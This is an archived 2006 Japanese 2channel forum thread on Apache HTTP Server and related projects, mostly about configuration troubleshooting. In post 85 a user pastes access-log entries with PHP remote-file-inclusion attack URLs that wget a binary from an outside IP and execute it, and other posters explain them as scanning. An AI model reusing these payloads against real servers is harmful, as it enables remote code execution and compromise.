2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

Apache統合スレ 8 (HTTPServer以外も含む)

1 :DNS未登録さん:2006/01/04(水) 16:41:05 ID:GKy3khuu
HTTP ServerだけでなくAntやTomcatなど以下のようなApache全般に関するスレだ!

Apache Software Foundation
http://www.apache.org/



HTTP Serverの最新Versionは
Apache/2.2.0
Apache/2.0.55
Apache/1.3.31
だ。




前スレ
Apache統合スレ 7【HTTPServer以外も含む】
http://pc8.2ch.net/test/read.cgi/mysv/1088866818/
Apache総合スレ 6
http://pc5.2ch.net/test/read.cgi/mysv/1084335973/
Apache総合スレ 5
http://pc5.2ch.net/test/read.cgi/mysv/1078763847/
Apache総合スレ 4
http://pc2.2ch.net/test/read.cgi/mysv/1069514378/
Apache総合スレ 3
http://pc2.2ch.net/test/read.cgi/mysv/1061501283/
【サーバ】Apache総合スレ 2 【バーサ】
http://pc2.2ch.net/test/read.cgi/mysv/1054463728/
【サーバ】Apache総合スレ【ウララー】
http://pc2.2ch.net/test/read.cgi/mysv/1044091546/


2 :DNS未登録さん:2006/01/04(水) 16:41:42 ID:GKy3khuu
訂正

HTTP Serverの最新Versionは
Apache/2.2.0
Apache/2.0.55
Apache/1.3.34
だ。



3 :DNS未登録さん:2006/01/04(水) 16:48:52 ID:GKy3khuu
Apache 初心者質問スレッド Part3
http://pc8.2ch.net/test/read.cgi/mysv/1125462033/
【Windows】Apache初心者質問スレ 3鯖目【専門】
http://pc8.2ch.net/test/read.cgi/mysv/1128473338/
【MacOSX】 Apache初心者質問スレ 【専門】
http://pc8.2ch.net/test/read.cgi/mysv/1113929632/

Apache〜嗜みとして〜 Part3
http://pc8.2ch.net/test/read.cgi/php/1043851302/
【Apache】mod_rewriteについて語るスレ
http://pc8.2ch.net/test/read.cgi/php/1023791370/


Apache関連 Part8
http://pc8.2ch.net/test/read.cgi/unix/1136360783/

4 :DNS未登録さん:2006/01/04(水) 17:45:24 ID:???
4まさ。1乙

5 :DNS未登録さん:2006/01/04(水) 19:00:30 ID:???
おつ。


6 :DNS未登録さん:2006/01/22(日) 23:31:14 ID:GniLifjG
全然書き込みねぇなww

7 :DNS未登録さん:2006/01/26(木) 13:36:07 ID:???
よく8まで続いたなぁ
粉飾スレッドか?

8 :DNS未登録さん:2006/01/26(木) 15:05:54 ID:???
自作自演なんて基本だし。

9 :DNS未登録さん:2006/01/28(土) 02:17:30 ID:???
オマエモナー

10 :DNS未登録さん:2006/01/28(土) 08:43:13 ID:???
一人何役もやるのは得意だしな。

11 :DNS未登録さん:2006/01/28(土) 14:56:24 ID:???
僕が君で、君が僕

12 :DNS未登録さん:2006/01/28(土) 19:19:04 ID:???
一人でやるのは4人までにしとけ。
5人以上を違和感無く演じるには才能が必要だ。

13 :DNS未登録さん:2006/01/28(土) 22:30:03 ID:???
結局人が来ない

14 :DNS未登録さん:2006/02/12(日) 20:28:48 ID:???
閑古鳥が鳴いてるスレはここでつか?

15 :DNS未登録さん:2006/02/14(火) 18:12:51 ID:???
いつの間に次スレができたんだ

16 :DNS未登録さん:2006/02/15(水) 12:11:51 ID:???
ネタ投下

17 :DNS未登録さん:2006/02/21(火) 09:36:45 ID:BRi4zPKa
接続ユーザー毎に、接続数ではなく、帯域で制限をかけるにはどのような方法がありますか?


18 :DNS未登録さん:2006/02/21(火) 10:01:00 ID:???
>>17
mod bandwidth

19 :DNS未登録さん:2006/02/21(火) 10:15:23 ID:???
17ではないが、俺も帯域で制限かけたいなあ。
サーバーにアクセスが殺到すると、ネットゲームに支障が出てくるんだよね(;^▽^)

mod_bandwidthってApache系だからなあ。
Apache2系対応のmod_bwを使ってみたんだけど、なんかおかしい。
必要以上に帯域が制限されたりする。うまく説明できないんだけど。
だから使ってない。

Apache2系でmod_bw以外に帯域制限モジュールないですか?

20 :DNS未登録さん:2006/02/22(水) 21:05:36 ID:RIQ8m/KQ
1. httpd.conf で 下記のような設定をします。
| <Directory />
| Options MultiViews
| AllowOverride All
| Redirect permanent /test/ http://www.2ch.net/
| </Directory>

2. ドキュメントルートディレクトリを、次のようなファイル名のファイルを配置します。
| test.html

3. http://サーバのIPアドレス/test/ にアクセスします。
| GET http://127.0.0.1/test/

すると、404 Not Found が表示されます。
本来 /test/ は http://www.2ch.net/ に転送されるはずなのに、
転送されません。

test.html を削除すると、正常に、http://www.2ch.net/ にリダイレクトされます。
これはApacheのバグでしょうか?

ご教示お願いします。


21 :20:2006/02/22(水) 21:06:37 ID:RIQ8m/KQ
環境は、
Apache: Apache HTTP Server 2.2.0
OS: Fedora Core 4
モジュール: 標準モジュール+php5_module

です。


22 :DNS未登録さん:2006/02/22(水) 21:18:10 ID:???
>>20
index 意味

これでググれ

23 :20:2006/02/22(水) 21:25:25 ID:???
>>22
すみません、ぐぐってみたけど解決しませんでした。
http://www.google.co.jp/search?hl=ja&q=index+%E6%84%8F%E5%91%B3+apache&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

DirectoryIndex でしたら、index.html index.cgi が指定されています。

/test/ ディレクトリはそもそも存在しませんし、
そこにインデックスファイルも勿論存在しません。



24 :DNS未登録さん:2006/02/22(水) 21:34:40 ID:???
test.html を index.html で保存してみろ

25 :20:2006/02/22(水) 21:47:39 ID:???
>>24
ありがとうございます。
test.html を index.html に変更するという意味でしょうか。
その名前変更をしたら正常に 2ch.net に飛びます。
hogehoge.html でも foo.html でも同じことです。
(testディレクトリは存在しません。)

Redirect permanent /test/ http://www.2ch.net/

先ほどから実験しているのですが、MultiViews と Redirect を組み合わせると色々な現象がおこるようです。

例えば、hoge.html というファイルを作成して、
Redirect permanent /hoge.html http://www.2ch.net/
として、http://myip/hoge にアクセスすると、404 エラーになります。

hogeというファイルを消せば正常に2chに飛びますが・・・。

ここらへんの挙動がわからないのでもうちょっと実験してみます。



26 :DNS未登録さん:2006/02/22(水) 21:50:45 ID:???
ファイル名 と ディレクトリ名 を勘違いしてないか

27 :20:2006/02/22(水) 21:51:59 ID:???
>>26
勘違いしていません。
ようするに、ファイル名と同じディレクトリ名を他のドメイン(別にドメイン同じでもいいけど・・・)に転送させる際の
予想外の動作について疑問に思っています。


28 :20:2006/02/22(水) 22:04:35 ID:???
分かりにくい表記だったので整理しますね。

まず、hoge.html という「ファイル」をサーバに転送します。(「hoge」というディレクトリはサーバ上に作成しません。)
Optionsでは何も指定しません。

h ttp://mydomain/hoge.html ・・・ 200 OK
h ttp://mydomain/hoge ・・・ 404 Not Found

ここまでは想定内の動作です。

Options +MultiViews を指定します。
h ttp://mydomain/hoge.html ・・・ 200 OK
h ttp://mydomain/hoge ・・・ 200 OK
h ttp://mydomain/hoge/ ・・・ 404 Not Found

ここまでも想定内の動作です。

次に
Redirect permanent /hoge.html h ttp://www.google.co.jp/ を指定します。
(上からの流れで設定を戻していません。つまり、Options +MultiViewsは設定されています。)

h ttp://mydomain/hoge.html ・・・ リダイレクト(想定内)
h ttp://mydomain/hoge ・・・ 404 Not Found(※想定外1)
h ttp://mydomain/hoge/ ・・・ 404 Not Found(想定内9

※想定外1
http://mydomain/hoge はリダイレクト設定となっていないので、404になるのが想定外です。
ただ、hoge.html はリダイレクトするファイル、つまり本来見られないファイルなので、
セキュリティ上このような動作になることは一応納得できます。

ここからが本題です。
さっき設定した、Redirect permanent /hoge.html h ttp://www.google.co.jp/ を「解除」します。
そして、Redirect permanent /hoge/ h ttp://www.google.co.jp/ を指定します。

すると、
h ttp://mydomain/hoge.html ・・・ 200 OK (想定内)
h ttp://mydomain/hoge ・・・ 200 OK (想定内)
h ttp://mydomain/hoge/ ・・・ 404 Not Found(※想定外2)

何故か、本来リダイレクトされるはずの、http://mydomain/hoge/ が 404 NotFound になるのです。
この想定外2となる理由が全く理解できません。

h ttp://mydomain/hoge/ は h ttp://www.google.co.jp/ にリダイレクトされるはずなのに・・・。
(hogeというディレクトリはサーバ上に存在しません。)


httpが多すぎます、とエラーがでたので、h ttp にします。


29 :DNS未登録さん:2006/02/22(水) 22:11:13 ID:???
     /\⌒ヽペタン
   /  /⌒)ノ ペタン  もちつけ
  ∧_∧ \ (( ∧_∧  もちつけ
 (; ´Д`))' ))(・∀・ ;)
 /  ⌒ノ ( ⌒ヽ⊂⌒ヽ
.(O   ノ ) ̄ ̄ ̄()__   )
 )_)_) (;;;;;;;;;;;;;;;;;;;)(_(


30 :DNS未登録さん:2006/02/22(水) 22:11:44 ID:???
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ. ネタ禁止│
     〜′ /´ └─┬┬─┘
      ∪ ∪      ││ _ε3
               ゛゛'゛'゛


31 :DNS未登録さん:2006/02/22(水) 22:16:27 ID:???
>>28
もちついて自分の書いたこと見直せぃ。おかしいことに気づくから。
あるいはmod rewrite使え といって見るテスト。

32 :28:2006/02/22(水) 22:23:09 ID:???
>>31
落ち着いて見直してもやっぱり分からないんです。。。
3日前からずっと気になってて・・・。
長文で表記して申し訳ありませんでした。
単刀直入に書くとこうです。

Apacheの設定
| Options +MultiViews
| Redirect permanent /hoge/ http://www.google.co.jp/

ディレクトリ、ファイル構成
(hoge.html というファイルのみ。ディレクトリは存在しない。)
| /hoge.html

ブラウザでアクセスするURL
| http://mydomain.com/hoge/

結果
| 本来ならリダイレクトされてGoogleが表示されるはず。
| しかし、404 Not Found になってしまう。

どなたか何故、404 Errorになるのか教えて頂けないでしょうか。


33 :DNS未登録さん:2006/02/22(水) 22:25:57 ID:???
>>32
死ねよ

34 :DNS未登録さん:2006/02/22(水) 22:27:54 ID:???
>>33
荒らすなバカ


35 :DNS未登録さん:2006/02/22(水) 22:37:33 ID:???
>>32
漏れの環境でも再現しますた
でも考えたら混乱しちゃった_| ̄○
ごめんよぉ

推測だけど リダイレクトする→リダイレクト前のページは見れないわけで、
もしリダイレクト前のページが見られちゃいけないもんだったら情報漏洩になる
だからApacheは親切にディレクトリ指定でもリダイレクト時に同名のファイルとかを確認してるんじゃないの?

36 :DNS未登録さん:2006/02/22(水) 23:09:28 ID:???
>>34
死ねよ

37 :DNS未登録さん:2006/02/23(木) 09:30:57 ID:???
最初に「バグでしょうか」と言ってくるやつにまともな返事は付かない

38 :DNS未登録さん:2006/02/23(木) 14:44:44 ID:???
特定ディレクトリをBasic認証したんですが、
その配下のディレクトリは公開したいんです。
どのようにすればよいのでしょうか?

39 :DNS未登録さん:2006/02/23(木) 14:56:04 ID:???
似たような質問で恐縮です

特定ディレクトリをBasic認証したんですが、
特定のドメインからのアクセスの場合は
認証フリーとしたいのですが
どのようにすればよいのでしょうか?


40 :DNS未登録さん:2006/02/23(木) 15:09:03 ID:???
>>39ですが
もっとよく調べてたらわかったのでもういいです。

ついでに>>38の答もでたので教えます。
Basic認証の設定を.htaccessで行っている前提で
公開したいディレクトリにも.htaccessを置いて
その中にSatisfy Anyと一文を置けばよろしい
と思うよ。

41 :38:2006/02/23(木) 15:45:37 ID:???
>>40
できましたー
ありがとー

42 :DNS未登録さん:2006/02/23(木) 16:26:32 ID:???
>もういいです
すみませんね、スレのチェックが遅くて。
以後気をつけます。

43 :DNS未登録さん:2006/02/23(木) 16:56:42 ID:???
そ、そんなつもりはございません。

あなた様のような方のお手を煩わせ
ないようにお答え頂けなくとも
結構でございます。

・・・という意味です。

44 :DNS未登録さん:2006/02/23(木) 20:02:47 ID:DYv8Bn4t
質問です
Apache2.0+WebDAV+SSL上にある動画ファイルをWMで再生しようとしたところ
「セキュリティの問題が発生しました。」というエラーが出て再生出来ません。
WebDAV上のファイルを再生するにはローカルに一度ファイルを落とすしかないんでしょうか?
回答キボンヌ

45 :DNS未登録さん:2006/02/23(木) 20:34:48 ID:???
そのSSLの証明書は自己署名?

46 :DNS未登録さん:2006/02/24(金) 12:09:38 ID:fINOcQj5
OSはレッドハット・エンタープライズ
Apache2.0+SSLで証明書はセルフ
設定は以下を参考にし、バーチャルホストを設定(ssl.confにも設定)
ttp://www.stackasterisk.jp/tech/systemConstruction/apache09_03.jsp
/usr/local/apache2/bin/apachectl configtestを実行してもエラーは出ず
Syntax OK
当然ながら
/usr/local/apache2/bin/apachectl start は問題なし
ps -aux |grep apache で起動していることを確認

次に
/usr/local/apache2/bin/apachectl stop
/usr/local/apache2/bin/apachectl startssl
とした所Apache/2.0.XX mod_ssl/2.0.XX (Pass Phrase Dialog)云々を
聞かれずにすんなり通ります(パス無しで起動できるような設定にはしていません)
しかし ps -aux |grep apache で確認してもapacheは起動していません

原因が分かりません
他に必要な設定とかがあるのでしょうか?

47 :DNS未登録さん:2006/02/24(金) 12:27:17 ID:???
>ps -aux |grep apache
これは
ps -aux |grep httpd


48 :DNS未登録さん:2006/02/24(金) 12:28:05 ID:???
でも ps -ef じゃないの?
Linuxはどっちも受け付けるのかな

49 :DNS未登録さん:2006/02/24(金) 12:29:26 ID:???
エラーログ出て無いのかい

50 :DNS未登録さん:2006/02/24(金) 13:04:18 ID:fINOcQj5
>>47
どちらでも結果は同じでした

>>49
httpdログにはエラーは出ていませんでした
(見ている所がわるいのか???)

51 :DNS未登録さん:2006/02/24(金) 13:46:55 ID:???
コンソールのログも見たほうがいいよ
/var/log/message あたりか?

52 :DNS未登録さん:2006/02/24(金) 16:50:04 ID:fINOcQj5
>>51
確認しましたがそれらしいログはありませんでした

原因が最後まで分らなかったのが悔しい所ではありますが
とりあえず1からApacheをmakeしなおし、confファイルを
書き直した所動くようになりました
ありがとうございました

53 :DNS未登録さん:2006/02/24(金) 17:39:17 ID:???
>>37
実際バグでしょ。


54 :DNS未登録さん:2006/02/24(金) 18:27:16 ID:???
>>53
そんなことは問題じゃない
バグでしょうかと聞いてくるやつの大部分が本人のミスなので
そう聞いてくると、誰もまともに取り合わないんだよ。

55 :DNS未登録さん:2006/02/24(金) 18:28:47 ID:???
実際、オレも検証もしなけりゃソースも確認してない
そんな現象だったら、こっちで再現テストしてみるもんだが、
バグの文字があったらもう損な作業はしないでスルー

56 :DNS未登録さん:2006/02/25(土) 00:09:35 ID:???
謙虚さが大切ってことだな

57 :DNS未登録さん:2006/02/25(土) 00:44:30 ID:odxR+Mxj
はじめまして。質問があります。

Apache/2.0.52 (Fedora)、ユーザ=adminで運用しているのですが、
Perlで新規作成したファイルの所有者/グループがapacheになってしまいます。
PHPの場合はセーフモードによるものだと思いますが、perlの場合は
どうすればadmin権限でファイルを新規作成出来るようになるでしょうか?
http.confの User や Group はapacheになっています。
ただ単純にここに admin とした場合には何かまずい事が起こりますでしょうか?
それとこのサーバではPHP/Perl によるディレクトリの作成も出来ません・・。
かなりスクリプトを作る面で不便を感じております。

詳しい方、どうかよろしくご教示の程お願いいたします。

58 :DNS未登録さん:2006/02/25(土) 01:01:06 ID:zqM1V2nE
>>57
それは根本的には、人に聞くことじゃなくて自分で勉強することだと思う。
勉強すべきこと:Unix系OSのユーザー、グループ、パーミッションの概念。

いくつかヒント。
プロセスが新規生成するファイル・ディレクトリの所有者はそのプロセスのユーザーとなる。
そして、perlとかPHPとかは基本的にApacheと同じユーザーで動く。
ってことは、perlやPHPが生成するファイルの所有者は当然 httpd.confのUser/Groupになる。

PHPもperlも、モジュールで動かす場合はこれはどうしようもない。セーフモードは関係ない。
CGIとして動かす場合はsuexecってのがある。これを使えば、ApacheのユーザーとCGIのユーザーを分けられる。
具体的には自分で調べてくれ。

59 :DNS未登録さん:2006/02/26(日) 00:56:46 ID:wepVglIM
>>58
レスありがとうございます。
> それは根本的には、人に聞くことじゃなくて自分で勉強すること
仰るとおりですね・・頑張ります。
そしてヒントもありがとうございます。
おぼろげながら勘違いしていた点がわかりました。

今までレン鯖をいくつか借りてきてPerlでファイルを作っても自分が
所有者になっていたので、Perlとはそういうものだと思っていました。
mod_perl、わかっていなかったようです。

先日特定ファイルの所有者を変更しようとしてスーパーユーザでSSHログインして
chown -R admin:admin /* ( ./* の間違い)
とやってしまいました。
エラーがたくさん出てきてしまいました。

Windowsしか知らなかったので所有者などの管理がとても難しい壁のように思えて
しまっていたのも事実です。
これから頑張って勉強致します。


60 :DNS未登録さん:2006/03/04(土) 15:28:22 ID:GyYdmYQz
Apache Maven2超使い勝手がいいねえ

Apache Jamesっていいねえ

100% Pure Java メールサーバだもんね

61 :DNS未登録さん:2006/03/05(日) 13:30:01 ID:???
Jamesってそんなにいいの?
俺はPostfix派なんで使ったことないんだけど。
だってPure Javaったって、そのメリット使うサーバなんて限られてるし。

62 :DNS未登録さん:2006/03/07(火) 01:26:21 ID:5k9c2Rwt
Jamesってそんなにいいの?ってのは
Tomcatってそんなにいいの?ってのに似てると思う。

いいとか悪いとかいうよりJavaでMailetが書けるって以上でも以下でもないぞ、これ。


63 :DNS未登録さん:2006/03/07(火) 01:34:06 ID:???
JSP&サーブレットコンテナと、MTAを同一視するのは無理があるかと。


64 :DNS未登録さん:2006/03/09(木) 00:08:56 ID:???
apache2.0系でバーチャルホスト毎に接続数制限かける方法って何かありますか?
クライアントあたり(1IPあたり)の制限ではなくて、バーチャルホスト全体として。
バーチャルホスト毎にMaxClientsが設定できれば楽なんですけどね。


65 :DNS未登録さん:2006/03/09(木) 01:11:32 ID:334QyLnz
mod_bw

しかし弊害も大きい。

66 :DNS未登録さん:2006/03/09(木) 07:54:24 ID:???
jamesって強制オープンリレーだったりしないの?
結構ふつうに運用しても大丈夫なもんなの?

67 :DNS未登録さん:2006/03/10(金) 01:59:02 ID:???
>>65
弊害ありですか。どんなのだろう。
まぁ、ちょっと調べてみます。どうもでした。

68 :DNS未登録さん:2006/03/12(日) 12:20:16 ID:???
フリーウエブスペースなどで、一番上に自動的に広告を挿入するのがありますが、
あのような機能は何を使って実現しているのでしょうか?

69 :DNS未登録さん:2006/03/12(日) 14:11:03 ID:???
>>68
mod_layout
つか、過去ログくらい嫁。この手の質問いくつ出てきたことか。

70 :DNS未登録さん:2006/03/13(月) 07:47:33 ID:Q3Qnbt5V
ここ数日
apache.jp
にアクセスできない件

71 :DNS未登録さん:2006/03/13(月) 16:57:21 ID:OpROMoVI
本家サイトに日本語のマニュアルがあるからapache.jpは見てないな。

72 :DNS未登録さん:2006/03/13(月) 18:54:09 ID:7QbiSBsp
ここ1年ぐらいapache.jpや本家は見てないな

73 :DNS未登録さん:2006/03/13(月) 20:15:17 ID:LdWSht0M
質問です。
PHPプログラムをWebDAV経由でアップしたら文字化けするんですが、
これってどうすれば直るんですか?
回答キボーン

74 :DNS未登録さん:2006/03/13(月) 21:02:17 ID:S4EboMV3
WebDav全然知らないけど、WebDavは関係ない

75 :DNS未登録さん:2006/03/13(月) 21:29:40 ID:LdWSht0M
>>74
WebDAVは関係ないんですか?
それではなにか関係するんでしょう?
環境はApache2.0+PHP4です
回答お願いします

76 :DNS未登録さん:2006/03/13(月) 21:36:29 ID:???
PHPファイルをソースファイルとしてアップロードして、そしてダウンロードして、バイナリエディタでも使って比較しろ

77 :DNS未登録さん:2006/03/14(火) 12:51:34 ID:???
鯖の負荷を計測する方法をぐぐるためのキーワードを教えて下さい。

78 :DNS未登録さん:2006/03/14(火) 12:57:12 ID:???
>>77
自鯖の負荷が見たいだけなのか、負荷テストを行いたいのか、どっちだ?

79 :DNS未登録さん:2006/03/14(火) 13:42:23 ID:???
>>77
rrdtoolsとかHotSanicとかどうでしょう

80 ::2006/03/14(火) 14:04:41 ID:???
>>77
server-status,WAST,JMETER

81 :DNS未登録さん:2006/03/14(火) 17:06:41 ID:???
>>78
すみません。負荷テストの方でした。

>>79-80
負荷テストならWASTやJMETER、他のは状況ですね。
勉強になります。
どうもありがとうございました。

82 :DNS未登録さん:2006/03/29(水) 11:50:35 ID:D2+TmePt
Apacheのログにいくつか404を出して去っていくものがおるんですが、彼は一体何をしているんでしょうか?


83 :DNS未登録さん:2006/03/29(水) 13:00:31 ID:???
>>82
手当たり次第にセキュリティホールのあるcgi等を探してるんです。
urlはってみ?

84 :DNS未登録さん:2006/03/29(水) 14:32:47 ID:???
なるほどです。。orz

85 :DNS未登録さん:2006/03/29(水) 14:38:18 ID:???
>>83
長いですが、URLはこういう感じです。

202.69.164.91 "GET /webcalendar/tools/send_reminders.php?includedir=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 322
202.69.164.91 "GET /webcalendar/send_reminders.php?includedir=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 316
202.69.164.91 "GET /webcalendar/tools/send_reminders.phpsend_reminders.php?includedir=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 340
202.69.164.91 "GET /modules/PNphpBB2/includes/functions_admin.phpfunctions_admin.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 350
202.69.164.91 "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 331
202.69.164.91 "GET /modules/includes/functions_admin.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 322
202.69.164.91 "GET /PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 323
202.69.164.91 "GET /modules/Forums/admin/admin_styles.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 323
202.69.164.91 "GET /Forums/admin/admin_styles.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 315


86 :DNS未登録さん:2006/03/29(水) 14:39:32 ID:???
2chからリンクが貼られてしまった^^;

87 :DNS未登録さん:2006/03/29(水) 14:40:49 ID:???
晒してしまったけど、いいんだろうか^^;

88 :DNS未登録さん:2006/03/29(水) 14:42:28 ID:???
つながらないみたいだし、よくわかりません

89 :DNS未登録さん:2006/03/29(水) 14:55:19 ID:???
以前そのアドレスで自宅サーバで使ってたやつがアドレス変わったのに
そのアドレスで呼び出しただけだろ。
つながらないんであわててDDNSの設定を確認してるんじゃないかな

90 :DNS未登録さん:2006/03/29(水) 15:35:35 ID:???
普通に>>83だろ。
リモートのPHPコードを取り込んで実行できるPHPの糞仕様を突くやつ。

91 :DNS未登録さん:2006/03/30(木) 00:01:05 ID:???
>>89
平和なメルヘンの世界にお住みなんですね

92 :DNS未登録さん:2006/03/30(木) 12:56:03 ID:???
>>91
phpなんて使ってないからな

93 :DNS未登録さん:2006/03/30(木) 15:10:17 ID:???
釣れた(・∀・)!!

94 :DNS未登録さん:2006/07/24(月) 09:55:41 ID:cKsbeoYk
apache1.3 の mod_proxy_htmlは
どうやったら手に入れられるの?

95 :DNS未登録さん:2006/07/24(月) 10:44:39 ID:???
mod_proxy単体で全部入りじゃないの?

96 :DNS未登録さん:2006/07/24(月) 11:38:49 ID:cKsbeoYk
>>95
gifなどのリンクが切れているので
mod_proxy_htmlでURIを書き換える必要があると思ったのですが
違う原因でしょうか?

97 :DNS未登録さん:2006/07/24(月) 11:43:10 ID:???
リヴァースプロキシなのかフォアードプロキシなのか?
まずはそこから。

98 :DNS未登録さん:2006/07/24(月) 22:11:22 ID:lD8SgKWx
>>97
リヴァースプロキシです。

99 :DNS未登録さん:2006/07/24(月) 22:24:55 ID:???
とりあえずログだな。

あとProxyPassReverseあたりも関係あるかな?

100 :DNS未登録さん:2006/07/28(金) 11:35:10 ID:???
Apache 2.2.3 Released
Apache 2.0.59 Released
Apache 1.3.37 Released
キタ――(゚∀゚)――!!

ttp://httpd.apache.org/

101 :DNS未登録さん:2006/07/28(金) 19:56:12 ID:???
>>100
セキュリティホールの修正が含まれているらしいな。

(英文) this release includes an 'important' security fix for mod_rewrite.
(翻訳) このリリースは、"mod_rewrite" の "重要" なセキュリティホールの修正が含まれています。




102 :DNS未登録さん:2006/07/28(金) 19:56:45 ID:???
危険だから上げておく。
みんなアップデートしろよ。


103 :DNS未登録さん:2006/07/28(金) 20:33:28 ID:???
自分で設定ファイルにldap:で始まるものを使ってなければ問題ない。
注意しなけりゃいけないのは、誰か他人に使わせてて、.htaccessの使用を許可してる場合かな。


*) SECURITY: CVE-2006-3747 (cve.mitre.org)
mod_rewrite: Fix an off-by-one security problem in the ldap scheme
handling. For some RewriteRules this could lead to a pointer being
written out of bounds. Reported by Mark Dowd of McAfee.
[Mark Cox]


mod_rewrite: ldapスキームの扱いにおける数え間違いのセキュリティ問題を修正。
あるRewriteRulesによって、境界外の場所に書き込みをさせるようにポインターを変更できる可能性がある。
McAfeeの Mark Dowd が報告してくれた。

104 :DNS未登録さん:2006/07/28(金) 20:57:26 ID:???
>>103
それ本当?ソースコード見てみるとむしろldapスキーマのとき安全に見えるんだけど
(C初心者なんで自信ないけど)



if (!strncasecmp(uri, "ldap", 4)) {
char *token[5];
int c = 0;

token[0] = cp = apr_pstrdup(p, cp);
while (*cp && c < 4) {                  ←ここが c < 5 から変更された
if (*cp == '?') {
token[++c] = cp + 1;
*cp = '\0';
}
++cp;
}

105 :DNS未登録さん:2006/07/28(金) 21:10:25 ID:WvZX8KRB
正直、汚いコードだ

106 :DNS未登録さん:2006/07/28(金) 21:13:36 ID:???
/* _ _ _
* _ __ ___ ___ __| | _ __ _____ ___ __(_) |_ ___
* | '_ ` _ \ / _ \ / _` | | '__/ _ \ \ /\ / / '__| | __/ _ \
* | | | | | | (_) | (_| | | | | __/\ V V /| | | | || __/
* |_| |_| |_|\___/ \__,_|___|_| \___| \_/\_/ |_| |_|\__\___|
* |_____|

ワロタ

107 :DNS未登録さん:2006/07/30(日) 01:11:38 ID:jKHndS/q
apache2.2.3 for windowsを組み込もうとしているのですが、起動に失敗します。
nicが複数あってどれかを選択しろ的なメッセージが出て起動できません。
初心者的質問ですが、宜しくお願いいたします。

108 :DNS未登録さん:2006/07/30(日) 08:40:32 ID:???
設定ファイルをきちんとかけてないんだろう
http://httpd.apache.org/docs/2.2/mod/mpm_common.html#listen

109 :DNS未登録さん:2006/07/30(日) 19:57:45 ID:???
1.*系のwin版こねーけど、2.*に移行しろってこと?

110 :DNS未登録さん:2006/07/31(月) 22:39:02 ID:???
>>109
http://archive.apache.org/dist/httpd/binaries/win32/
ここはどう?

111 :DNS未登録さん:2006/08/01(火) 22:37:33 ID:???
>>110
おー!ありがとう!でも2.0に移行しちゃった!ありがとう!

112 :DNS未登録さん:2006/08/03(木) 21:24:22 ID:???
久しぶりにapacheでもインストールしてみるかーと、httpd 2.2.3を
./configure --enable-so
でビルドして、コンテントネゴシエーションが効かないのに1時間悩んだ。

apachectl -lしてみると、必要なモジュールは入ってるように見えるのだが・・・。
まあ勉強用にビルドしただけなので、--enable-mods-shared=mostとして
shared moduleにしたら解決したのでいいんだけど、正しい解決方法ってある?

113 :DNS未登録さん:2006/09/26(火) 20:57:48 ID:uGaqUu6N
JAMESで実装したMAILETの性能試験するのに良いツール無いですかね?

あと、>>66でも質問されていますが、JAMESってリレー対策というかSPAMの踏み台にされやすいとか無いでしょうか?


114 :DNS未登録さん:2006/09/28(木) 03:16:26 ID:CAbmtY5G
このスレでApacheとtuxを併用したLinux鯖構築されている方はどのくらい居ますか?

115 :DNS未登録さん:2006/09/28(木) 18:04:48 ID:DNMofH4F
Jamesとりあえず昔落とした2.1のデフォ設定ファイルしか無いけどチラ見する限り

root
・HOP数チェック→Null
・bondedsender.org(ホワイトリスト)→transport
・njabl.org(ブラックリスト)→spam
・ordb.org(ブラックリスト)→spam

transport
・受取人がJamesのユーザーか→LocalDelivery
・受取アドレスがローカルサーバーか(つまり存在しないユーザー)→error
・送信元が127.0.0.1じゃなかったら→spam

RemoteDelivery

となってるので少なくともデフォがオープンリレーってのはありえない。
見れば解るとおり、デフォでは送信はローカルサーバーからしかしない前提になってるので、
普通のメールサーバーとして使うために設定を弄って穴を作るのならありえるが。

っていうか、コマンドメールの処理に
プーリングされたデータソースが欲しいって以外に使う事ってあるのか?

とりあえずブラックリストにspamcopとrbl.jp入れとけばそこそこは使えるんだろうけど、
SpamAsassinとかClamAV連携させようとかSPF見ようとか考え出したらちょっと頭痛くなってくるんだが。
James3で(サポート環境が)もう少しまともになれば良いのだが。

116 :113:2006/09/28(木) 21:40:19 ID:???
>>115
検証ありがとうございます。
他に語れる人がいなくて不安だったのです。。。

仰るとおりなのですが、まさにそのメールの処理途中でDataSauceを使ったアプリを設計中なのですよ。
個人的に面白みも感じているので、もっと勉強します。

レスして頂いてありがとうございました。

117 :DNS未登録さん:2006/10/06(金) 07:06:26 ID:???
http://www.atmarkit.co.jp/flinux/rensai/apache09/apache09a.html に、次のような事が書かれています。

| コラム 「なりすまし」に注意
| いずれにしても注意しなければいけないのが、クライアントの「なりすまし」である。なりすましとはIPアドレスを偽る行為であり、これを行われてしまうと意図しない相手に対して正規のアクセスとしてコンテンツが提供されてしまう。
